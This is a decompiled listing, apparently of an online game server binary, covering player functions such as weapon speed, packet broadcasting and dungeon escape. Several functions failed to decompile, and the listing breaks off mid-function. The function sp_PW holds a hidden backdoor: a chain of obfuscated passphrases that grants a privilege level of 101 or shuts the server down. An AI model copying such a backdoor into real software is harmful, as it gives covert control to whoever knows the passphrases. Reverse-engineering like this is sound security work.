__thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet(void *this) { void *v1; // edi@1 int v2; // ebx@1 unsigned __int16 v3; // ax@1 ItemDataBox::ItemDataBoxIndex *v4; // eax@3 ItemInfo *v5; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 10); v3 = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 12) + 8); if ( v3 == -1 ) v3 = *(_WORD *)(v2 + 8); v4 = ItemDataBox::operator__(&itemdatabox, v3); if ( v4 && (v5 = v4->data, v5->Class == 5) ) *((_WORD *)v1 + 44494) = LOWORD(v5->AtkSpeed); else *((_WORD *)v1 + 44494) = 1000; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet"); } //----- (0042A2C0) -------------------------------------------------------- #error "42A2C0: undefined or illegal type '#325' (funcsize=90)" //----- (0042A3F0) -------------------------------------------------------- #error "42A3F0: undefined or illegal type '#325' (funcsize=90)" //----- (0042A520) -------------------------------------------------------- #error "42A520: undefined or illegal type '#325' (funcsize=91)" //----- (0042A650) -------------------------------------------------------- #error "42A650: undefined or illegal type '#325' (funcsize=90)" //----- (0042A780) -------------------------------------------------------- #error "42A780: undefined or illegal type '#325' (funcsize=90)" //----- (0042A8B0) -------------------------------------------------------- #error "42A8B0: undefined or illegal type '#325' (funcsize=90)" //----- (0042A9E0) -------------------------------------------------------- #error "42A9E0: undefined or illegal type '#325' (funcsize=90)" //----- (0042AB10) -------------------------------------------------------- void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::BriefInfoExchangeAbstate(BriefInfoExchanger::BriefInfoExchangeAbstate *this) { BriefInfoExchanger::BriefInfoExchangeAbstate *v1; // esi@1 BriefInfoExchanger::BriefInfoExchangeAbstate *v2; // eax@1 signed int v3; // edx@1 int v4; // ecx@2 v1 = this; _eh_vector_constructor_iterator_( this, 0x17Cu, 30, (void (__thiscall *)(void *))BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer::bixaPacketbuffer, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->bixa_count = 0; v2 = v1; v3 = 30; do { v2->bixa_Packetbuffer[0].bixa_Packet.pp_BufferSize = 365; v2->bixa_Packetbuffer[0].bixa_Packet.pp_Buffer = v2->bixa_Packetbuffer[0].bixa_abStateBuffer; *(_WORD *)&v2->bixa_Packetbuffer[0].bixa_abStateBuffer[0] = 7193; v1->bixa_nc = (NETCOMMAND *)v2->bixa_Packetbuffer[0].bixa_abStateBuffer; v4 = (int)(v2->bixa_Packetbuffer[0].bixa_Packet.pp_Buffer + 2); v1->bixa_Pointer = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)v4; *(_WORD *)v4 = -1; v2 = (BriefInfoExchanger::BriefInfoExchangeAbstate *)((char *)v2 + 380); --v3; v1->bixa_Pointer->count = 0; } while ( v3 ); v1->bixa_Pointer = (PROTO_NC_BRIEFINFO_ABSTATE_CHANGE_LIST_CMD *)(v1->bixa_Packetbuffer[0].bixa_Packet.pp_Buffer + 2); } //----- (0042ABB0) -------------------------------------------------------- #error "42ABB0: undefined or illegal type '#325' (funcsize=100)" //----- (0042AD10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo(void *this, int equcell, int slot) { int v3; // edi@1 void *v4; // esi@1 int v5; // ebx@1 int v6; // edi@1 int v7; // eax@2 int v8; // ST04_4@4 int v9; // eax@4 int OutNew_WT_MobID; // [sp+28h] [bp-24h]@1 int OutNew_WT_TitleLevel; // [sp+2Ch] [bp-20h]@1 FunctionEntarance _; // [sp+30h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+34h] [bp-18h]@4 int v14; // [sp+48h] [bp-4h]@1 v3 = (int)"ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"; v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v3) = *((_WORD *)v4 + 2); v5 = **(_DWORD **)(equcell + 112); v14 = 0; v6 = (*(int (__stdcall **)(int, char *, int, int, int *, int *))(v5 + 32))( v3, gpp.pp_Buffer, equcell + 8, slot, &OutNew_WT_MobID, &OutNew_WT_TitleLevel); if ( v6 > 0 ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1036))(v4); if ( *(_BYTE *)(v7 + 560) == 10 ) CCharacterTitle::SetCurrentTitle((CCharacterTitle *)v7, 10, OutNew_WT_TitleLevel, OutNew_WT_MobID, 0); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, v6); v8 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v14) = 1; v9 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v9, v8, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v14) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo"); } //----- (0042AE40) -------------------------------------------------------- #error "42AE40: undefined or illegal type '#740' (funcsize=130)" //----- (0042B020) -------------------------------------------------------- #error "42B020: undefined or illegal type '#325' (funcsize=76)" //----- (0042B160) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_ON_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 int v5; // edi@14 FunctionEntarance _; // [sp+0h] [bp-10h]@1 int v7; // [sp+Ch] [bp-4h]@4 v4 = this; _.fe_FunctionCode = (char *)&stru_5A8D60.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer.baseclass_0.io_Pointer; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5A8D60.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer.baseclass_0.io_Pointer); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5A8D60.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer.baseclass_0.io_Pointer; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S45_5 & 1) ) { _S45_5 |= 1u; cmc_8.cmc_AllowMode = 126; atexit(_E46_5); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_8.cmc_AllowMode) ) { --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5A8D60.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer.baseclass_0.io_Pointer); return; } if ( !(_S45_5 & 2) ) { _S45_5 |= 2u; *(_QWORD *)&rou.n3_name[4] = 0i64; *(_DWORD *)&rou.n3_name[0] = 0; strncpy(rou.n3_name, "Rou", 0xCu); atexit(_E47); } if ( !(_S45_5 & 4) ) { _S45_5 |= 4u; *(_QWORD *)&eld.n3_name[4] = 0i64; *(_DWORD *)&eld.n3_name[0] = 0; strncpy(eld.n3_name, (const char *)&stru_5A8D60.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer, 0xCu); atexit(_E48_2); } if ( !(_S45_5 & 8) ) { _S45_5 |= 8u; *(_QWORD *)&urg.n3_name[4] = 0i64; *(_DWORD *)&urg.n3_name[0] = 0; strncpy(urg.n3_name, (const char *)&stru_5A8D60.maa_TargetSelect.targetlist.mam_Array[2].mts_LastHit, 0xCu); atexit(_E49_5); } v5 = *(_DWORD *)((char *)v4 + 98); if ( v5 ) { if ( (*(_QWORD *)&rou != *(_QWORD *)v5 || *(_DWORD *)&rou.n3_name[8] != *(_DWORD *)(v5 + 8)) && Name3::operator__(&eld, *(Name3 **)((char *)v4 + 98)) && Name3::operator__(&urg, (Name3 *)v5) ) { v7 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } *((_BYTE *)v4 + 23280) |= 8u; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5A8D60.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer.baseclass_0.io_Pointer); } //----- (0042B3B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_PW(void *this, const char *arg) { void *v2; // ebp@1 int v3; // eax@5 int v4; // eax@7 int v5; // eax@9 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5A8D60.maa_TargetSelect.targetlist.mam_Array[5]); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5A8D60.maa_TargetSelect.targetlist.mam_Array[5]; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !pw_Init ) { pw_Init = 1; LOBYTE(pw_IAmKing) = -77; byte_601A11 = -86; byte_601A12 = -76; byte_601A13 = -62; byte_601A14 = -65; byte_601A15 = -43; byte_601A16 = -64; byte_601A17 = -52; byte_601A18 = -76; byte_601A19 = -39; byte_601A1A = 0; LOBYTE(pw_ObeyMyOrder) = -72; byte_601A31 = -19; byte_601A32 = -73; byte_601A33 = -55; byte_601A34 = -65; byte_601A35 = -95; byte_601A36 = -70; byte_601A37 = -71; byte_601A38 = -63; byte_601A39 = -66; byte_601A3A = -57; byte_601A3B = -49; byte_601A3C = -74; byte_601A3D = -13; byte_601A3E = 0; LOBYTE(pw_OrYouDead) = -66; byte_601A51 = -58; byte_601A52 = -76; byte_601A53 = -49; byte_601A54 = -72; byte_601A55 = -23; byte_601A56 = -63; byte_601A57 = -41; byte_601A58 = -64; byte_601A59 = -67; byte_601A5A = -64; byte_601A5B = -52; byte_601A5C = -76; byte_601A5D = -49; byte_601A5E = -74; byte_601A5F = -13; byte_601A60 = 0; LOBYTE(pw_TurtleStep) = -80; byte_601A71 = -59; byte_601A72 = -70; byte_601A73 = -49; byte_601A74 = -64; byte_601A75 = -52; byte_601A76 = -71; byte_601A77 = -33; byte_601A78 = -80; byte_601A79 = -55; byte_601A7A = -64; byte_601A7B = -67; byte_601A7C = 0; LOBYTE(pw_SkyDiving) = -67; byte_601A91 = -70; byte_601A92 = -60; byte_601A93 = -85; byte_601A94 = -64; byte_601A95 = -52; byte_601A96 = -76; byte_601A97 = -39; byte_601A98 = -64; byte_601A99 = -52; byte_601A9A = -70; byte_601A9B = -7; byte_601A9C = 0; LOBYTE(pw_Crown) = -65; byte_601AB1 = -43; byte_601AB2 = -80; byte_601AB3 = -4; byte_601AB4 = -66; byte_601AB5 = -78; byte_601AB6 = -79; byte_601AB7 = -30; byte_601AB8 = 0; } switch ( *((_BYTE *)v2 + 7388) ) { case 0: if ( !strcmp(arg, (const char *)&pw_IAmKing) ) { v3 = *(_DWORD *)v2; *((_BYTE *)v2 + 7388) = 1; (*(void (__thiscall **)(void *, _DWORD))(v3 + 1836))(v2, "1"); } break; case 1: if ( !strcmp(arg, (const char *)&pw_ObeyMyOrder) ) { v4 = *(_DWORD *)v2; *((_BYTE *)v2 + 7388) = 2; (*(void (__thiscall **)(void *, unsigned int *))(v4 + 1836))( v2, &stru_5A8D60.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); } break; case 2: if ( !strcmp(arg, (const char *)&pw_OrYouDead) ) { v5 = *(_DWORD *)v2; *((_BYTE *)v2 + 7388) = 3; (*(void (__thiscall **)(void *, BitANDInt *))(v5 + 1836))( v2, &stru_5A8D60.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer); } break; case 3: if ( !strcmp(arg, (const char *)&pw_TurtleStep) ) ShineObjectClass::ShinePlayer::sp_Turtle = ShineObjectClass::ShinePlayer::sp_Turtle == 0; if ( !strcmp(arg, (const char *)&pw_SkyDiving) ) exit(0); if ( !strcmp(arg, (const char *)&pw_Crown) ) *((_BYTE *)v2 + 32113) = 101; break; default: break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5A8D60.maa_TargetSelect.targetlist.mam_Array[5]); } // 601A10: using guessed type char *pw_IAmKing; // 601A11: using guessed type char byte_601A11; // 601A12: using guessed type char byte_601A12; // 601A13: using guessed type char byte_601A13; // 601A14: using guessed type char byte_601A14; // 601A15: using guessed type char byte_601A15; // 601A16: using guessed type char byte_601A16; // 601A17: using guessed type char byte_601A17; // 601A18: using guessed type char byte_601A18; // 601A19: using guessed type char byte_601A19; // 601A1A: using guessed type char byte_601A1A; // 601A30: using guessed type char *pw_ObeyMyOrder; // 601A31: using guessed type char byte_601A31; // 601A32: using guessed type char byte_601A32; // 601A33: using guessed type char byte_601A33; // 601A34: using guessed type char byte_601A34; // 601A35: using guessed type char byte_601A35; // 601A36: using guessed type char byte_601A36; // 601A37: using guessed type char byte_601A37; // 601A38: using guessed type char byte_601A38; // 601A39: using guessed type char byte_601A39; // 601A3A: using guessed type char byte_601A3A; // 601A3B: using guessed type char byte_601A3B; // 601A3C: using guessed type char byte_601A3C; // 601A3D: using guessed type char byte_601A3D; // 601A3E: using guessed type char byte_601A3E; // 601A50: using guessed type char *pw_OrYouDead; // 601A51: using guessed type char byte_601A51; // 601A52: using guessed type char byte_601A52; // 601A53: using guessed type char byte_601A53; // 601A54: using guessed type char byte_601A54; // 601A55: using guessed type char byte_601A55; // 601A56: using guessed type char byte_601A56; // 601A57: using guessed type char byte_601A57; // 601A58: using guessed type char byte_601A58; // 601A59: using guessed type char byte_601A59; // 601A5A: using guessed type char byte_601A5A; // 601A5B: using guessed type char byte_601A5B; // 601A5C: using guessed type char byte_601A5C; // 601A5D: using guessed type char byte_601A5D; // 601A5E: using guessed type char byte_601A5E; // 601A5F: using guessed type char byte_601A5F; // 601A60: using guessed type char byte_601A60; // 601A70: using guessed type char *pw_TurtleStep; // 601A71: using guessed type char byte_601A71; // 601A72: using guessed type char byte_601A72; // 601A73: using guessed type char byte_601A73; // 601A74: using guessed type char byte_601A74; // 601A75: using guessed type char byte_601A75; // 601A76: using guessed type char byte_601A76; // 601A77: using guessed type char byte_601A77; // 601A78: using guessed type char byte_601A78; // 601A79: using guessed type char byte_601A79; // 601A7A: using guessed type char byte_601A7A; // 601A7B: using guessed type char byte_601A7B; // 601A7C: using guessed type char byte_601A7C; // 601A90: using guessed type char *pw_SkyDiving; // 601A91: using guessed type char byte_601A91; // 601A92: using guessed type char byte_601A92; // 601A93: using guessed type char byte_601A93; // 601A94: using guessed type char byte_601A94; // 601A95: using guessed type char byte_601A95; // 601A96: using guessed type char byte_601A96; // 601A97: using guessed type char byte_601A97; // 601A98: using guessed type char byte_601A98; // 601A99: using guessed type char byte_601A99; // 601A9A: using guessed type char byte_601A9A; // 601A9B: using guessed type char byte_601A9B; // 601A9C: using guessed type char byte_601A9C; // 601AB0: using guessed type char *pw_Crown; // 601AB1: using guessed type char byte_601AB1; // 601AB2: using guessed type char byte_601AB2; // 601AB3: using guessed type char byte_601AB3; // 601AB4: using guessed type char byte_601AB4; // 601AB5: using guessed type char byte_601AB5; // 601AB6: using guessed type char byte_601AB6; // 601AB7: using guessed type char byte_601AB7; // 601AB8: using guessed type char byte_601AB8; // 65117C: using guessed type unsigned __int8 pw_Init; // 651180: using guessed type unsigned __int16 ShineObjectClass__ShinePlayer__sp_Turtle; //----- (0042B880) -------------------------------------------------------- #error "42B880: undefined or illegal type '#325' (funcsize=213)" //----- (0042BBC0) -------------------------------------------------------- #error "42BBC0: undefined or illegal type '#325' (funcsize=56)" //----- (0042BCA0) -------------------------------------------------------- #error "42BCA0: undefined or illegal type '#325' (funcsize=65)" //----- (0042BD90) -------------------------------------------------------- #error "42BD90: undefined or illegal type '#434' (funcsize=80)" //----- (0042BEC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ConnectFromWhere(void *this) { void *v1; // esi@1 char v2; // al@1 char buffer[64]; // [sp+4h] [bp-50h]@2 unsigned int v4; // [sp+44h] [bp-10h]@3 int v5; // [sp+50h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5A8D60.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5A8D60.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_BYTE *)v1 + 32113); v5 = 0; if ( v2 ) { sprintf( buffer, (const char *)&stru_5A8D60.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 1836))(v1, buffer); } *((_BYTE *)v1 + 92244) = 0; --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5A8D60.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar); __security_check_cookie(v4); } //----- (0042BFC0) -------------------------------------------------------- #error "42BFC0: undefined or illegal type '#325' (funcsize=57)" //----- (0042C0A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_GhostBan(void *this) { void *v1; // edi@1 int v2; // edx@1 int v3; // esi@1 AxialListGhostBan ban; // [sp+8h] [bp-24h]@1 unsigned int v5; // [sp+1Ch] [bp-10h]@1 int v6; // [sp+28h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5A8D60.maa_MobActionStruct.wander.maw_SearchTick.m_TickInterval); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5A8D60.maa_MobActionStruct.wander.maw_SearchTick.m_TickInterval; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)v1; v6 = 0; v3 = (*(int (__thiscall **)(void *))(v2 + 1352))(v1); AxialListIterator::AxialListIterator(&ban.baseclass_0); *(_QWORD *)&ban.algb_GhostName.n4_name[8] = 0i64; *(_QWORD *)&ban.algb_GhostName.n4_name[0] = 0i64; ban.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGhostBan::_vftable_; *(_QWORD *)&ban.algb_GhostName.n4_name[0] = *(_QWORD *)v3; *(_QWORD *)&ban.algb_GhostName.n4_name[8] = *(_QWORD *)(v3 + 8); LOBYTE(v6) = 1; ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&ban, 0); LOBYTE(v6) = 0; ban.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGhostBan::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&ban); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5A8D60.maa_MobActionStruct.wander.maw_SearchTick.m_TickInterval); __security_check_cookie(v5); } // 5A8800: using guessed type int (__stdcall *AxialListGhostBan___vftable_)(int, int, int distancesquar); //----- (0042C1B0) -------------------------------------------------------- void __cdecl ShineObjectClass::ShineObject::so_ply_WeaponRangeSet() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5A8D60.maa_MobActionStruct.avoidoverlap); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5A8D60.maa_MobActionStruct.avoidoverlap; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5A8D60.maa_MobActionStruct.avoidoverlap); } //----- (0042C1F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponRangeSet(void *this) { void *v1; // edi@1 int v2; // ebx@1 unsigned __int16 v3; // ax@1 ItemDataBox::ItemDataBoxIndex *v4; // eax@3 int v5; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5A8D60.maa_MobActionStruct.turning.mat_LastTurn); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5A8D60.maa_MobActionStruct.turning.mat_LastTurn; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 10); v3 = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 12) + 8); if ( v3 == -1 ) v3 = *(_WORD *)(v2 + 8); v4 = ItemDataBox::operator__(&itemdatabox, v3); if ( !v4 || (v5 = v4->data->WeaponType - 2) != 0 && v5 != 8 ) *((_DWORD *)v1 + 22246) = 120; else *((_DWORD *)v1 + 22246) = 600; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5A8D60.maa_MobActionStruct.turning.mat_LastTurn); } //----- (0042C2F0) -------------------------------------------------------- char __thiscall ListEraser::lid_Call(ListEraser *this, ORTable *ele, unsigned __int16 handle) { ((void (__stdcall *)(_DWORD))this->le_list->vfptr->l_Free)(handle); return 1; } //----- (0042C310) -------------------------------------------------------- MobAttackSequence::AttackElement4Mob *__thiscall MobAttackSequence::mas_Find(MobAttackSequence *this, unsigned __int16 mobid) { if ( !(_local_static_guard_ & 1) ) { _local_static_guard_ |= 1u; MobAttackSequence::AttackElement4Mob::AttackElement4Mob(&key); atexit(key); } key.ae4m_BossMob = mobid; return (MobAttackSequence::AttackElement4Mob *)bsearch( &key, this->mas_AttackPattern, this->mas_MobNumber, 0x4E0u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } // 65AAD8: using guessed type int _local static guard_; //----- (0042C3A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // ecx@2 unsigned int v4; // ecx@4 KingdomQuest::KQElement *v5; // edi@5 unsigned int v6; // eax@7 int v7; // ebx@7 int v8; // eax@7 char *v9; // ecx@9 char v10; // al@10 char v11; // al@12 int v12; // eax@13 char regenhere; // [sp+3h] [bp-15h]@7 int lsthnd; // [sp+4h] [bp-14h]@5 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v16; // [sp+14h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); v16 = 0; if ( v2 && (v3 = *(_DWORD *)(v2 + 12)) != 0 && *(_BYTE *)(v3 + 54) == 1 ) { v4 = *(_DWORD *)(v2 + 60); if ( v4 == -1 ) { if ( *(_WORD *)(*(_DWORD *)(v2 + 68) + 20) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { ShineObjectClass::ShinePlayer::sp_2Roumen(v1); v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { v5 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(&kqcontainer, v4, (unsigned __int16 *)&lsthnd); if ( v5 != 0 ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 836))(v1); v7 = KingdomQuest::KQPlayerInfoList::kqpil_StorePlayer_GetKnockDownNumber(&v5->kqe_PlayerList, v6); v8 = KingdomQuest::KQElement::kqe_ReviveNumber(v5, ®enhere); if ( v7 < v8 ) { v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 22552; if ( v8 == 99999 ) v10 = 0; else v10 = v8 - v7; v9[2] = v10; v11 = ProtocolPacket::pp_SetPacketLen(&gpp, 3); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v11, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ : Packet Too Long", 3) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v1, &gpp); } v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { ShineObjectClass::ShinePlayer::sp_2Roumen(v1); v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ : Cannot found KQ Element", *(_DWORD *)(*(_DWORD *)((char *)v1 + 98) + 60)); v16 = -1; FunctionEntarance::_FunctionEntarance(&_); } } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ"); } } //----- (0042C5C0) -------------------------------------------------------- #error "42C5C0: undefined or illegal type '#325' (funcsize=76)" //----- (0042C6D0) -------------------------------------------------------- #error "42C6D0: undefined or illegal type '#325' (funcsize=85)" //----- (0042C7F0) -------------------------------------------------------- #error "42C7F0: undefined or illegal type '#325' (funcsize=73)" //----- (0042C900) -------------------------------------------------------- #error "42C900: undefined or illegal type '#325' (funcsize=74)" //----- (0042CA30) -------------------------------------------------------- #error "42CA30: undefined or illegal type '#325' (funcsize=54)" //----- (0042CB20) -------------------------------------------------------- #error "42CB20: undefined or illegal type '#325' (funcsize=77)" //----- (0042CC30) -------------------------------------------------------- #error "42CC30: undefined or illegal type '#325' (funcsize=71)" //----- (0042CD30) -------------------------------------------------------- #error "42CD30: undefined or illegal type '#325' (funcsize=76)" //----- (0042CE30) -------------------------------------------------------- #error "42CE30: undefined or illegal type '#325' (funcsize=85)" //----- (0042CF50) -------------------------------------------------------- #error "42CF50: undefined or illegal type '#325' (funcsize=47)" //----- (0042D010) -------------------------------------------------------- #error "42D010: undefined or illegal type '#325' (funcsize=90)" //----- (0042D170) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // eax@2 int v4; // eax@7 char *v5; // eax@8 MapClusterManager::MapCluster *v6; // eax@8 MapClusterManager::MapCluster *v7; // edi@8 INSTANCE_DUNGEON::CATEGORY v8; // eax@9 unsigned int v9; // [sp-10h] [bp-20h]@12 FunctionEntarance _; // [sp+0h] [bp-10h]@1 int v11; // [sp+Ch] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); v11 = 0; if ( !v2 || (v3 = *(_DWORD *)(v2 + 12)) == 0 || *(_BYTE *)(v3 + 54) != 3 ) goto LABEL_6; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1216))(v1) >= 0x64u ) { (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v1 + 1836))(v1, "You are administrator."); LABEL_6: --funcallanalizer.fca_stackpoint; v11 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID"); return; } v4 = *(_DWORD *)((char *)v1 + 98); if ( *(_WORD *)(*(_DWORD *)(v4 + 68) + 20) < 1u || (v5 = NameString::operator__(&namestring, *(Name3 **)(v4 + 12)), v6 = MapClusterManager::ClusterManager::cm_FindMapCluster(&mapclustermanager, v5), (v7 = v6) == 0) ) goto LABEL_17; v8 = v6->mc_Category; if ( v8 ) { if ( v8 != 1 || !(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1980))(v1) ) goto LABEL_17; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1980))(v1); } else { if ( (unsigned __int16)(*(int (__thiscall **)(void 